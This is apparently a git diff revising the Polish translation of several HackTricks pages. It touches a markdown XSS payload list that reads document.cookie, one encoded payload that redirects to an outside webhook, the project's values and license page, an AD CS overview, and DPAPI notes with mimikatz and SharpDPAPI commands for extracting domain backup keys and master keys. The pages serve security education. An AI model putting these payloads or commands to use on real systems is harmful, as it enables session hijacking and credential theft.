<!-- XSS with regular tags -->
<script>
@ -42,7 +42,7 @@ t:prompt(document.cookie))
```
### HTML Sanitiser Markdown Bypass
Następujący kod **sanitizuje dane wejściowe HTML** i następnie **przekazuje je do parsera markdown**, a następnie XSS może być wyzwolony poprzez nadużywanie błędnych interpretacji między Markdown a DOMPurify
Poniższy kod **sanitizuje dane wejściowe HTML** i następnie **przekazuje je do parsera markdown**, a następnie XSS może być wyzwolone poprzez nadużywanie błędnych interpretacji między Markdown a DOMPurify.
```html
<!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e -->
<script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
@ -84,8 +84,8 @@ x="<style onload=eval(atob(/bG9jYXRpb249YGh0dHBzOi8vd2ViaG9vay5zaXRlL2FiM2IyYjg5
```html
<!--
Fuzzing examples from
- https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt
- https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields
- [https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt](https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt)
- [https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields](https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields)
-->
[a](javascript:prompt(document.cookie))
@ -97,7 +97,7 @@ Fuzzing examples from
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:alert('XSS'))
![a'"`onerror=prompt(document.cookie)](x)\
[citelol]: (javascript:prompt(document.cookie))
[lol]: (javascript:prompt(document.cookie))
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[test](javascript://%0d%0aprompt(1))
[test](javascript://%0d%0aprompt(1);com)

View File

@ -2,24 +2,24 @@
{{#include ../banners/hacktricks-training.md}}
## HackTricks Wartości
## Wartości HackTricks
> [!TIP]
> Oto **wartości projektu HackTricks**:
>
> - Daj **DARMOWY** dostęp do **EDUKACYJNYCH zasobów hackingowych** dla **WSZYSTKICH** w Internecie.
> - Hacking polega na nauce, a nauka powinna być jak najbardziej dostępna.
> - Celem tej książki jest służenie jako kompleksowe **źródło edukacyjne**.
> - Hacking polega na nauce, a nauka powinna być jak najbardziej dostępna.
> - Celem tej książki jest służenie jako kompleksowe **źródło edukacyjne**.
> - **PRZECHOWUJ** niesamowite **techniki hackingowe**, które publikuje społeczność, dając **ORYGINALNYM** **AUTOROM** wszystkie **uznania**.
> - **Nie chcemy uznania od innych ludzi**, chcemy tylko przechowywać fajne sztuczki dla wszystkich.
> - Pisujemy również **nasze własne badania** w HackTricks.
> - W kilku przypadkach napiszemy **w HackTricks podsumowanie ważnych części** techniki i **zachęcimy czytelnika do odwiedzenia oryginalnego posta** po więcej szczegółów.
> - **ORGANIZUJ** wszystkie techniki hackingowe w książce, aby były **BARDZIEJ DOSTĘPNE**
> - Zespół HackTricks poświęcił tysiące godzin za darmo **tylko na organizację treści**, aby ludzie mogli **uczyć się szybciej**
> - **Nie chcemy uznania od innych ludzi**, chcemy tylko przechowywać fajne sztuczki dla wszystkich.
> - Pisujemy również **własne badania** w HackTricks.
> - W kilku przypadkach napiszemy **w HackTricks podsumowanie ważnych części** techniki i **zachęcimy czytelnika do odwiedzenia oryginalnego posta** po więcej szczegółów.
> - **ORGANIZUJ** wszystkie techniki hackingowe w książce, aby były **BARDZIEJ DOSTĘPNE**.
> - Zespół HackTricks poświęcił tysiące godzin za darmo **tylko na organizację treści**, aby ludzie mogli **uczyć się szybciej**.
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
## HackTricks faq
## FAQ HackTricks
> [!TIP]
>
@ -44,7 +44,7 @@ Nie zapomnij **dać gwiazdki w projektach Github!**
>
> - **Czy mogę skopiować część treści z HackTricks i umieścić ją na moim blogu?**
Tak, możesz, ale **nie zapomnij wspomnieć o konkretnym linku(-ach)**, z którego pochodzi treść.
Tak, możesz, ale **nie zapomnij wspomnieć o konkretnym linku(-ach)**, z którego treść została wzięta.
> [!TIP]
>
@ -62,11 +62,11 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
```
> [!WARNING]
>
> - **Czy mogę skopiować wszystkie HackTricks na mojego bloga?**
> - **Czy mogę skopiować wszystkie HackTricks na mój blog?**
**Wolałbym nie**. To **nie przyniesie korzyści nikomu**, ponieważ **wszystkie treści są już publicznie dostępne** w oficjalnych książkach HackTricks za darmo.
Jeśli obawiasz się, że znikną, po prostu zrób forka na Githubie lub je pobierz, jak już powiedziałem, jest to już darmowe.
Jeśli obawiasz się, że znikną, po prostu zrób forka na Githubie lub pobierz je, jak już powiedziałem, są już za darmo.
> [!WARNING]
>
@ -76,7 +76,7 @@ Pierwsza **wartość HackTricks** to oferowanie **DARMOWYCH** zasobów edukacyjn
Jeśli myślisz, że książki HackTricks są stworzone do **celów komercyjnych**, to **JESTEŚ CAŁKOWICIE W BŁĘDZIE**.
Mamy sponsorów, ponieważ, nawet jeśli cała treść jest DARMOWA, chcemy **dać społeczności możliwość docenienia naszej pracy**, jeśli chcą. Dlatego oferujemy ludziom możliwość wsparcia HackTricks poprzez [**sponsorów Github**](https://github.com/sponsors/carlospolop) oraz **odpowiednie firmy zajmujące się cyberbezpieczeństwem**, aby sponsorowały HackTricks i **miały kilka reklam** w książce, które są **zawsze umieszczane w miejscach, które czynią je** **widocznymi**, ale **nie zakłócają procesu nauki**, jeśli ktoś koncentruje się na treści.
Mamy sponsorów, ponieważ, nawet jeśli cała treść jest DARMOWA, chcemy **dać społeczności możliwość docenienia naszej pracy**, jeśli chcą. Dlatego oferujemy ludziom możliwość wsparcia HackTricks poprzez [**sponsorów Github**](https://github.com/sponsors/carlospolop) oraz **odpowiednie firmy zajmujące się cyberbezpieczeństwem**, aby sponsorowały HackTricks i **miały kilka reklam** w książce, które są **zawsze umieszczane w miejscach, które czynią je **widocznymi**, ale **nie zakłócają procesu nauki**, jeśli ktoś koncentruje się na treści.
Nie znajdziesz HackTricks wypełnionych irytującymi reklamami jak inne blogi z dużo mniejszą ilością treści niż HackTricks, ponieważ HackTricks nie jest stworzony do celów komercyjnych.
@ -106,38 +106,38 @@ Zawsze **przyznajemy oryginalnym autorom wszystkie zasługi**. Jeśli znajdziesz
## LICENSE
Copyright © Wszystkie prawa zastrzeżone, chyba że zaznaczone inaczej.
Copyright © All rights reserved unless otherwise specified.
#### Podsumowanie Licencji:
#### License Summary:
- Atrybucja: Możesz:
- Udostępniać — kopiować i rozpowszechniać materiał w dowolnym medium lub formacie.
- Adaptować — remiksować, przekształcać i rozwijać materiał.
- Attribution: You are free to:
- Share — copy and redistribute the material in any medium or format.
- Adapt — remix, transform, and build upon the material.
#### Dodatkowe Warunki:
#### Additional Terms:
- Treści Stron Trzecich: Niektóre części tego bloga/książki mogą zawierać treści z innych źródeł, takie jak fragmenty z innych blogów lub publikacji. Użycie takich treści odbywa się zgodnie z zasadami dozwolonego użytku lub za wyraźną zgodą odpowiednich właścicieli praw autorskich. Proszę odwołać się do oryginalnych źródeł w celu uzyskania szczegółowych informacji o licencjonowaniu dotyczących treści stron trzecich.
- Autorstwo: Oryginalne treści napisane przez HackTricks podlegają warunkom tej licencji. Zachęcamy do przypisania tej pracy autorowi podczas udostępniania lub adaptacji.
- Third-Party Content: Some parts of this blog/book may include content from other sources, such as excerpts from other blogs or publications. The use of such content is done under the principles of fair use or with explicit permission from the respective copyright holders. Please refer to the original sources for specific licensing information regarding third-party content.
- Authorship: The original content authored by HackTricks is subject to the terms of this license. You are encouraged to attribute this work to the author when sharing or adapting it.
#### Wyjątki:
#### Exemptions:
- Użycie Komercyjne: W przypadku zapytań dotyczących komercyjnego wykorzystania tej treści, proszę o kontakt.
- Commercial Use: For inquiries regarding commercial use of this content, please contact me.
Ta licencja nie przyznaje żadnych praw do znaków towarowych ani brandingowych w odniesieniu do treści. Wszystkie znaki towarowe i branding przedstawione w tym blogu/książce są własnością ich odpowiednich właścicieli.
This license does not grant any trademark or branding rights in relation to the content. All trademarks and branding featured in this blog/book are the property of their respective owners.
**Korzystając z HackTricks, zgadzasz się przestrzegać warunków tej licencji. Jeśli nie zgadzasz się z tymi warunkami, proszę, nie odwiedzaj tej strony.**
**By accessing or using HackTricks, you agree to abide by the terms of this license. If you do not agree with these terms, please, do not access this website.**
## **Zrzeczenie się odpowiedzialności**
## **Disclaimer**
> [!CAUTION]
> Ta książka, 'HackTricks', jest przeznaczona wyłącznie do celów edukacyjnych i informacyjnych. Treść zawarta w tej książce jest dostarczana na zasadzie 'tak jak jest', a autorzy i wydawcy nie składają żadnych oświadczeń ani gwarancji jakiegokolwiek rodzaju, wyraźnych lub dorozumianych, dotyczących kompletności, dokładności, niezawodności, przydatności lub dostępności informacji, produktów, usług lub powiązanych grafik zawartych w tej książce. Jakiekolwiek poleganie na takich informacjach odbywa się na własne ryzyko.
> Ta książka, 'HackTricks', jest przeznaczona wyłącznie do celów edukacyjnych i informacyjnych. Treść zawarta w tej książce jest dostarczana na zasadzie 'tak jak jest', a autorzy i wydawcy nie składają żadnych oświadczeń ani gwarancji jakiegokolwiek rodzaju, wyraźnych lub dorozumianych, dotyczących kompletności, dokładności, niezawodności, przydatności lub dostępności informacji, produktów, usług lub powiązanych grafik zawartych w tej książce. Jakiekolwiek poleganie na takich informacjach odbywa się więc wyłącznie na twoje ryzyko.
>
> Autorzy i wydawcy w żadnym wypadku nie ponoszą odpowiedzialności za jakiekolwiek straty lub szkody, w tym bez ograniczeń, pośrednie lub wynikowe straty lub szkody, ani za jakiekolwiek straty lub szkody jakiegokolwiek rodzaju wynikające z utraty danych lub zysków wynikających z lub w związku z korzystaniem z tej książki.
> Autorzy i wydawcy w żadnym wypadku nie ponoszą odpowiedzialności za jakiekolwiek straty lub szkody, w tym bez ograniczeń, pośrednie lub wynikowe straty lub szkody, ani za jakiekolwiek straty lub szkody wynikające z utraty danych lub zysków wynikających z lub w związku z korzystaniem z tej książki.
>
> Ponadto, techniki i wskazówki opisane w tej książce są dostarczane wyłącznie w celach edukacyjnych i informacyjnych i nie powinny być ywane do żadnych nielegalnych lub złośliwych działań. Autorzy i wydawcy nie popierają ani nie wspierają żadnych nielegalnych lub nieetycznych działań, a wszelkie korzystanie z informacji zawartych w tej książce odbywa się na własne ryzyko i według uznania użytkownika.
> Ponadto, techniki i wskazówki opisane w tej książce są dostarczane wyłącznie w celach edukacyjnych i informacyjnych i nie powinny być wykorzystywane do żadnych nielegalnych lub złośliwych działań. Autorzy i wydawcy nie popierają ani nie wspierają żadnych nielegalnych lub nieetycznych działań, a wszelkie korzystanie z informacji zawartych w tej książce odbywa się na ryzyko i uznanie użytkownika.
>
> Użytkownik ponosi wyłączną odpowiedzialność za wszelkie działania podjęte na podstawie informacji zawartych w tej książce i powinien zawsze szukać profesjonalnej porady i pomocy przy próbie wdrożenia jakichkolwiek technik lub wskazówek opisanych w tej książce.
>
> Korzystając z tej książki, użytkownik zgadza się zwolnić autorów i wydawców z wszelkiej odpowiedzialności za jakiekolwiek szkody, straty lub krzywdy, które mogą wyniknąć z korzystania z tej książki lub jakiejkolwiek informacji w niej zawartej.
> Korzystając z tej książki, użytkownik zgadza się zwolnić autorów i wydawców z wszelkiej odpowiedzialności i odpowiedzialności za jakiekolwiek szkody, straty lub krzywdy, które mogą wyniknąć z korzystania z tej książki lub jakiejkolwiek informacji w niej zawartej.
{{#include ../banners/hacktricks-training.md}}

View File

@ -10,12 +10,12 @@
- **Klucz publiczny** jest sparowany z kluczem prywatnym, aby powiązać certyfikat z jego prawowitym właścicielem.
- **Okres ważności**, określony przez daty **NotBefore** i **NotAfter**, oznacza czas obowiązywania certyfikatu.
- Unikalny **Numer seryjny**, dostarczony przez Urząd Certyfikacji (CA), identyfikuje każdy certyfikat.
- **Wystawca** odnosi się do CA, który wydał certyfikat.
- **Wydawca** odnosi się do CA, który wydał certyfikat.
- **SubjectAlternativeName** pozwala na dodatkowe nazwy dla podmiotu, zwiększając elastyczność identyfikacji.
- **Podstawowe ograniczenia** identyfikują, czy certyfikat jest dla CA czy podmiotu końcowego oraz definiują ograniczenia użytkowania.
- **Rozszerzone zastosowania kluczy (EKU)** określają konkretne cele certyfikatu, takie jak podpisywanie kodu czy szyfrowanie e-maili, za pomocą identyfikatorów obiektów (OID).
- **Algorytm podpisu** określa metodę podpisywania certyfikatu.
- **Podpis**, stworzony za pomocą klucza prywatnego wystawcy, gwarantuje autentyczność certyfikatu.
- **Podpis**, stworzony za pomocą klucza prywatnego wydawcy, gwarantuje autentyczność certyfikatu.
### Specjalne uwagi
@ -39,7 +39,7 @@ AD CS uznaje certyfikaty CA w lesie AD poprzez wyznaczone kontenery, z których
### Szablony certyfikatów
Zdefiniowane w AD, te szablony określają ustawienia i uprawnienia do wydawania certyfikatów, w tym dozwolone EKU oraz prawa do rejestracji lub modyfikacji, co jest kluczowe dla zarządzania dostępem do usług certyfikatów.
Zdefiniowane w AD, te szablony określają ustawienia i uprawnienia do wydawania certyfikatów, w tym dozwolone EKU oraz prawa do rejestracji lub modyfikacji, co jest kluczowe dla zarządzania dostępem do usług certyfikacyjnych.
## Rejestracja certyfikatu
@ -76,18 +76,18 @@ Certyfikaty można żądać za pośrednictwem:
4. **Usługi rejestracji certyfikatów** (CES), w połączeniu z usługą polityki rejestracji certyfikatów (CEP).
5. **Usługi rejestracji urządzeń sieciowych** (NDES) dla urządzeń sieciowych, używając prostego protokołu rejestracji certyfikatów (SCEP).
Użytkownicy systemu Windows mogą również żądać certyfikatów za pośrednictwem GUI (`certmgr.msc` lub `certlm.msc`) lub narzędzi wiersza poleceń (`certreq.exe` lub polecenia PowerShell `Get-Certificate`).
Użytkownicy systemu Windows mogą również żądać certyfikatów za pośrednictwem GUI (`certmgr.msc` lub `certlm.msc`) lub narzędzi wiersza poleceń (`certreq.exe` lub polecenia `Get-Certificate` PowerShell).
```bash
# Example of requesting a certificate using PowerShell
Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
```
## Uwierzytelnianie za pomocą certyfikatów
Active Directory (AD) wspiera uwierzytelnianie za pomocą certyfikatów, głównie wykorzystując protokoły **Kerberos** i **Secure Channel (Schannel)**.
Active Directory (AD) obsługuje uwierzytelnianie za pomocą certyfikatów, głównie wykorzystując protokoły **Kerberos** i **Secure Channel (Schannel)**.
### Proces Uwierzytelniania Kerberos
### Proces uwierzytelniania Kerberos
W procesie uwierzytelniania Kerberos, żądanie użytkownika o Ticket Granting Ticket (TGT) jest podpisywane za pomocą **klucza prywatnego** certyfikatu użytkownika. To żądanie przechodzi przez kilka walidacji przez kontroler domeny, w tym **ważność** certyfikatu, **ścieżkę** oraz **status unieważnienia**. Walidacje obejmują również weryfikację, że certyfikat pochodzi z zaufanego źródła oraz potwierdzenie obecności wystawcy w **magazynie certyfikatów NTAUTH**. Pomyślne walidacje skutkują wydaniem TGT. Obiekt **`NTAuthCertificates`** w AD, znajdujący się pod:
W procesie uwierzytelniania Kerberos, żądanie użytkownika o Ticket Granting Ticket (TGT) jest podpisywane za pomocą **klucza prywatnego** certyfikatu użytkownika. To żądanie przechodzi przez kilka weryfikacji przez kontroler domeny, w tym **ważność**, **ścieżkę** i **status unieważnienia** certyfikatu. Weryfikacje obejmują również potwierdzenie, że certyfikat pochodzi z zaufanego źródła oraz potwierdzenie obecności wystawcy w **sklepie certyfikatów NTAUTH**. Pomyślne weryfikacje skutkują wydaniem TGT. Obiekt **`NTAuthCertificates`** w AD, znajdujący się pod adresem:
```bash
CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
```
@ -95,11 +95,11 @@ jest kluczowe dla ustanowienia zaufania w przypadku uwierzytelniania certyfikat
### Uwierzytelnianie Secure Channel (Schannel)
Schannel ułatwia bezpieczne połączenia TLS/SSL, gdzie podczas handshake klient przedstawia certyfikat, który, jeśli zostanie pomyślnie zweryfikowany, autoryzuje dostęp. Mapowanie certyfikatu do konta AD może obejmować funkcję Kerberos **S4U2Self** lub **Subject Alternative Name (SAN)** certyfikatu, między innymi metody.
Schannel ułatwia bezpieczne połączenia TLS/SSL, gdzie podczas handshake klient przedstawia certyfikat, który, jeśli zostanie pomyślnie zweryfikowany, upoważnia do dostępu. Mapowanie certyfikatu do konta AD może obejmować funkcję Kerberos **S4U2Self** lub **Subject Alternative Name (SAN)** certyfikatu, między innymi metody.
### Enumeracja usług certyfikatów AD
Usługi certyfikatów AD mogą być enumerowane za pomocą zapytań LDAP, ujawniając informacje o **Enterprise Certificate Authorities (CAs)** i ich konfiguracjach. Jest to dostępne dla każdego użytkownika uwierzytelnionego w domenie bez specjalnych uprawnień. Narzędzia takie jak **[Certify](https://github.com/GhostPack/Certify)** i **[Certipy](https://github.com/ly4k/Certipy)** są używane do enumeracji i oceny podatności w środowiskach AD CS.
Usługi certyfikatów AD można enumerować za pomocą zapytań LDAP, ujawniając informacje o **Enterprise Certificate Authorities (CAs)** i ich konfiguracjach. Jest to dostępne dla każdego użytkownika uwierzytelnionego w domenie bez specjalnych uprawnień. Narzędzia takie jak **[Certify](https://github.com/GhostPack/Certify)** i **[Certipy](https://github.com/ly4k/Certipy)** są używane do enumeracji i oceny podatności w środowiskach AD CS.
Polecenia do korzystania z tych narzędzi obejmują:
```bash
@ -120,31 +120,31 @@ certutil -v -dstemplate
```
---
## Ostatnie luki i aktualizacje zabezpieczeń (2022-2025)
## Ostatnie podatności i aktualizacje zabezpieczeń (2022-2025)
| Rok | ID / Nazwa | Wpływ | Kluczowe wnioski |
|------|------------|-------|------------------|
| 2022 | **CVE-2022-26923** “Certifried” / ESC6 | *Escalacja uprawnień* poprzez fałszowanie certyfikatów konta maszyny podczas PKINIT. | Łatka jest zawarta w aktualizacjach zabezpieczeń z **10 maja 2022**. Wprowadzono audyt i silne kontrole mapowania za pomocą **KB5014754**; środowiska powinny teraz być w trybie *Pełnego Egzekwowania*. citeturn2search0 |
| 2023 | **CVE-2023-35350 / 35351** | *Zdalne wykonanie kodu* w roli AD CS Web Enrollment (certsrv) i CES. | Publiczne PoC są ograniczone, ale podatne komponenty IIS są często narażone wewnętrznie. Łatka od **lipca 2023** w Patch Tuesday. citeturn3search0 |
| 2024 | **CVE-2024-49019** “EKUwu” / ESC15 | Użytkownicy z niskimi uprawnieniami z prawami do rejestracji mogą nadpisać **dowolny** EKU lub SAN podczas generowania CSR, wydając certyfikaty użyteczne do uwierzytelniania klienta lub podpisywania kodu, co prowadzi do *kompromitacji domeny*. | Rozwiązano w aktualizacjach z **kwietnia 2024**. Usuń “Dostarcz w żądaniu” z szablonów i ogranicz uprawnienia do rejestracji. citeturn1search3 |
| 2022 | **CVE-2022-26923** “Certifried” / ESC6 | *Escalacja uprawnień* poprzez fałszowanie certyfikatów konta maszyny podczas PKINIT. | Łatka jest zawarta w aktualizacjach zabezpieczeń z **10 maja 2022**. Wprowadzono audyt i silne kontrole mapowania za pomocą **KB5014754**; środowiska powinny teraz być w trybie *Pełnego Egzekwowania*. |
| 2023 | **CVE-2023-35350 / 35351** | *Zdalne wykonanie kodu* w roli AD CS Web Enrollment (certsrv) i CES. | Publiczne PoC są ograniczone, ale podatne komponenty IIS są często narażone wewnętrznie. Łatka od **lipca 2023** w Patch Tuesday. |
| 2024 | **CVE-2024-49019** “EKUwu” / ESC15 | Użytkownicy z niskimi uprawnieniami z prawami do rejestracji mogli nadpisać **jakiekolwiek** EKU lub SAN podczas generowania CSR, wydając certyfikaty użyteczne do uwierzytelniania klienta lub podpisywania kodu, co prowadzi do *kompromitacji domeny*. | Rozwiązano w aktualizacjach z **kwietnia 2024**. Usuń “Dostarcz w żądaniu” z szablonów i ogranicz uprawnienia do rejestracji. |
### Harmonogram wzmocnienia Microsoftu (KB5014754)
Microsoft wprowadził trzyetapowe wdrożenie (Kompatybilność → Audyt → Egzekwowanie), aby przenieść uwierzytelnianie certyfikatów Kerberos z słabych mapowań domyślnych. Od **11 lutego 2025** kontrolery domeny automatycznie przełączają się na **Pełne Egzekwowanie**, jeśli wartość rejestru `StrongCertificateBindingEnforcement` nie jest ustawiona. Administratorzy powinni:
Microsoft wprowadził trzyetapowe wdrożenie (Kompatybilność → Audyt → Egzekwowanie), aby przenieść uwierzytelnianie certyfikatów Kerberos z słabych mapowań domyślnych. Od **11 lutego 2025**, kontrolery domeny automatycznie przełączają się na **Pełne Egzekwowanie**, jeśli wartość rejestru `StrongCertificateBindingEnforcement` nie jest ustawiona. Administratorzy powinni:
1. Zainstalować łatki na wszystkich DC i serwerach AD CS (maj 2022 lub później).
2. Monitorować identyfikatory zdarzeń 39/41 w poszukiwaniu słabych mapowań podczas fazy *Audytu*.
3. Ponownie wydać certyfikaty uwierzytelniające klienta z nowym **rozszerzeniem SID** lub skonfigurować silne mapowania ręczne przed lutym 2025. citeturn2search0
3. Ponownie wydać certyfikaty uwierzytelniające klientów z nowym **rozszerzeniem SID** lub skonfigurować silne mapowania ręczne przed lutym 2025.
---
## Ulepszenia wykrywania i wzmocnienia
* **Defender for Identity AD CS sensor (2023-2024)** teraz przedstawia oceny postawy dla ESC1-ESC8/ESC11 i generuje alerty w czasie rzeczywistym, takie jak *“Wydanie certyfikatu kontrolera domeny dla nie-DC”* (ESC8) i *“Zapobiegaj rejestracji certyfikatów z dowolnymi politykami aplikacji”* (ESC15). Upewnij się, że czujniki są wdrożone na wszystkich serwerach AD CS, aby skorzystać z tych wykryć. citeturn5search0
* **Defender for Identity AD CS sensor (2023-2024)** teraz przedstawia oceny postawy dla ESC1-ESC8/ESC11 i generuje powiadomienia w czasie rzeczywistym, takie jak *“Wydanie certyfikatu kontrolera domeny dla nie-DC”* (ESC8) oraz *“Zapobiegaj rejestracji certyfikatów z dowolnymi politykami aplikacji”* (ESC15). Upewnij się, że czujniki są wdrożone na wszystkich serwerach AD CS, aby skorzystać z tych wykryć.
* Wyłącz lub ściśle ogranicz opcję **“Dostarcz w żądaniu”** we wszystkich szablonach; preferuj wyraźnie zdefiniowane wartości SAN/EKU.
* Usuń **Dowolny cel** lub **Brak EKU** z szablonów, chyba że jest to absolutnie konieczne (dotyczy scenariuszy ESC2).
* Usuń **Jakikolwiek cel** lub **Brak EKU** z szablonów, chyba że jest to absolutnie konieczne (dotyczy scenariuszy ESC2).
* Wymagaj **zatwierdzenia menedżera** lub dedykowanych przepływów pracy Agenta Rejestracji dla wrażliwych szablonów (np. WebServer / CodeSigning).
* Ogranicz rejestrację internetową (`certsrv`) oraz punkty końcowe CES/NDES do zaufanych sieci lub za uwierzytelnianiem certyfikatu klienta.
* Ogranicz dostęp do rejestracji internetowej (`certsrv`) oraz punktów końcowych CES/NDES do zaufanych sieci lub za uwierzytelnianiem certyfikatu klienta.
* Wymuś szyfrowanie rejestracji RPC (`certutil setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQ`), aby złagodzić ESC11.
---

View File

@ -10,22 +10,22 @@ Data Protection API (DPAPI) jest głównie wykorzystywane w systemie operacyjnym
Najczęstszym sposobem użycia DPAPI jest korzystanie z funkcji **`CryptProtectData` i `CryptUnprotectData`**, które pozwalają aplikacjom na bezpieczne szyfrowanie i deszyfrowanie danych z sesji procesu, który jest aktualnie zalogowany. Oznacza to, że zaszyfrowane dane mogą być odszyfrowane tylko przez tego samego użytkownika lub system, który je zaszyfrował.
Ponadto, te funkcje akceptują również parametr **`entropy`**, który będzie używany podczas szyfrowania i deszyfrowania, dlatego aby odszyfrować coś zaszyfrowanego przy użyciu tego parametru, musisz podać tę samą wartość entropii, która była użyta podczas szyfrowania.
Ponadto, te funkcje akceptują również parametr **`entropy`**, który będzie używany podczas szyfrowania i deszyfrowania, dlatego aby odszyfrować coś zaszyfrowanego przy użyciu tego parametru, musisz podać tę samą wartość entropii, która była używana podczas szyfrowania.
### Generowanie kluczy użytkowników
DPAPI generuje unikalny klucz (nazywany **`pre-key`**) dla każdego użytkownika na podstawie ich poświadczeń. Klucz ten jest pochodną hasła użytkownika i innych czynników, a algorytm zależy od typu użytkownika, ale kończy się na SHA1. Na przykład, dla użytkowników domenowych, **zależy od HTLM hash użytkownika**.
DPAPI generuje unikalny klucz (nazywany **`pre-key`**) dla każdego użytkownika na podstawie jego poświadczeń. Klucz ten jest pochodną hasła użytkownika i innych czynników, a algorytm zależy od typu użytkownika, ale kończy się na SHA1. Na przykład, dla użytkowników domenowych, **zależy od hasha HTLM użytkownika**.
To jest szczególnie interesujące, ponieważ jeśli atakujący może uzyskać hash hasła użytkownika, może:
- **Odszyfrować wszelkie dane, które zostały zaszyfrowane przy użyciu DPAPI** za pomocą klucza tego użytkownika bez potrzeby kontaktowania się z jakimkolwiek API
- **Odszyfrować wszelkie dane, które zostały zaszyfrowane przy użyciu DPAPI** z kluczem tego użytkownika bez potrzeby kontaktowania się z jakimkolwiek API
- Spróbować **złamać hasło** offline, próbując wygenerować ważny klucz DPAPI
Ponadto, za każdym razem, gdy dane są szyfrowane przez użytkownika przy użyciu DPAPI, generowany jest nowy **klucz główny**. Ten klucz główny jest tym, który jest faktycznie używany do szyfrowania danych. Każdy klucz główny jest przypisany z **GUID** (Globally Unique Identifier), który go identyfikuje.
Klucze główne są przechowywane w katalogu **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`**, gdzie `{SID}` to identyfikator zabezpieczeń tego użytkownika. Klucz główny jest przechowywany zaszyfrowany przez **`pre-key`** użytkownika oraz przez **klucz zapasowy domeny** do odzyskiwania (więc ten sam klucz jest przechowywany zaszyfrowany 2 razy przez 2 różne hasła).
Klucze główne są przechowywane w katalogu **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`**, gdzie `{SID}` to identyfikator zabezpieczeń tego użytkownika. Klucz główny jest przechowywany zaszyfrowany kluczem **`pre-key`** użytkownika oraz kluczem **kopii zapasowej domeny** do odzyskiwania (więc ten sam klucz jest przechowywany zaszyfrowany 2 razy przez 2 różne hasła).
Zauważ, że **klucz domeny używany do szyfrowania klucza głównego znajduje się w kontrolerach domeny i nigdy się nie zmienia**, więc jeśli atakujący ma dostęp do kontrolera domeny, może odzyskać klucz zapasowy domeny i odszyfrować klucze główne wszystkich użytkowników w domenie.
Zauważ, że **klucz domeny używany do szyfrowania klucza głównego znajduje się w kontrolerach domeny i nigdy się nie zmienia**, więc jeśli atakujący ma dostęp do kontrolera domeny, może odzyskać klucz kopii zapasowej domeny i odszyfrować klucze główne wszystkich użytkowników w domenie.
Zaszyfrowane bloby zawierają **GUID klucza głównego**, który został użyty do szyfrowania danych wewnątrz jego nagłówków.
@ -58,18 +58,18 @@ Należy zauważyć, że te klucze **nie mają kopii zapasowej w domenie**, więc
Wśród danych osobowych chronionych przez DPAPI znajdują się:
- Poświadczenia Windows
- Hasła i dane autouzupełniania Internet Explorera i Google Chrome
- Hasła do kont e-mail i wewnętrznych kont FTP dla aplikacji takich jak Outlook i Windows Mail
- Hasła do folderów udostępnionych, zasobów, sieci bezprzewodowych i Windows Vault, w tym klucze szyfrowania
- Hasła do połączeń z pulpitem zdalnym, .NET Passport oraz klucze prywatne do różnych celów szyfrowania i uwierzytelniania
- Hasła sieciowe zarządzane przez Menedżera poświadczeń oraz dane osobowe w aplikacjach korzystających z CryptProtectData, takich jak Skype, MSN messenger i inne
- poświadczenia Windows
- hasła i dane autouzupełniania Internet Explorera i Google Chrome
- hasła do kont e-mail i wewnętrznych kont FTP dla aplikacji takich jak Outlook i Windows Mail
- hasła do folderów udostępnionych, zasobów, sieci bezprzewodowych i Windows Vault, w tym klucze szyfrowania
- hasła do połączeń z pulpitem zdalnym, .NET Passport i klucze prywatne do różnych celów szyfrowania i uwierzytelniania
- hasła sieciowe zarządzane przez Menedżera poświadczeń oraz dane osobowe w aplikacjach korzystających z CryptProtectData, takich jak Skype, MSN messenger i inne
- Szyfrowane bloby w rejestrze
- ...
Chronione dane systemowe obejmują:
- Hasła WiFi
- Hasła zadań zaplanowanych
- hasła WiFi
- hasła zadań zaplanowanych
- ...
### Opcje ekstrakcji klucza głównego
@ -120,7 +120,7 @@ mimikatz vault::list
### Znajdź zaszyfrowane dane DPAPI
Typowe **pliki chronione** przez użytkowników znajdują się w:
Typowe **pliki chronione** użytkowników znajdują się w:
- `C:\Users\username\AppData\Roaming\Microsoft\Protect\*`
- `C:\Users\username\AppData\Roaming\Microsoft\Credentials\*`
@ -172,7 +172,7 @@ guidMasterKey : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
pbData : b8f619[...snip...]b493fe
[..]
```
- **Uzyskaj dostęp do masterkeys**:
- **Uzyskaj dostęp do masterkey**:
Zdejmij szyfrowanie masterkey użytkownika, żądając **klucza kopii zapasowej domeny** za pomocą RPC:
```bash
@ -182,7 +182,7 @@ dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID"
# SharpDPAPI
SharpDPAPI.exe masterkeys /rpc
```
Narzędzie **SharpDPAPI** obsługuje również te argumenty do deszyfrowania masterkey (zauważ, że możliwe jest użycie `/rpc`, aby uzyskać klucz zapasowy domeny, `/password`, aby użyć hasła w postaci tekstu jawnego, lub `/pvk`, aby określić plik klucza prywatnego domeny DPAPI...):
Narzędzie **SharpDPAPI** obsługuje również te argumenty do deszyfrowania masterkey (zauważ, że możliwe jest użycie `/rpc` do uzyskania klucza zapasowego domeny, `/password` do użycia hasła w postaci tekstu jawnego lub `/pvk` do określenia pliku klucza prywatnego domeny DPAPI...):
```
/target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
